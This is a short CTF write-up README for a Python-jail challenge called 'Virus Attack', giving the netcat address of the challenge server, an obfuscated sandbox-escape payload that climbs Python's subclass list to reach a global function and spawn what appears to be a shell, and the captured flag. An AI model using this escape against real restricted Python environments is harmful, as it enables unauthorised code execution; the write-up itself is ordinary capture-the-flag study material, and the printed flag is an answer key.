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README.md |
README.md
Virus Attack
One day they woke me up, so I could live forever But immortality's a curse, now forever I'll endure
About the Challenge
This chall is about pyjail. We need to connect first to nc misc.bbctf.fluxus.co.in 2001
and then escape from python sandbox
How to Solve?
To escape the python sandbox, the payload will looks like this
[*().__class__.__base__.__subclasses__()[50+50+37].__init__.__globals__.values()][47]([].__doc__[5+5+7::79])
Inspired by https://okman.gitbook.io/okman-writeups/miscellaneous-challenges/redpwnctf-albatross writeup, but there are some modification because the program will not run if we input number 1
and 8
.
flag{S0_YoU_KN0W_How_70_m0d1fy_vARi@bl35_1n_Py}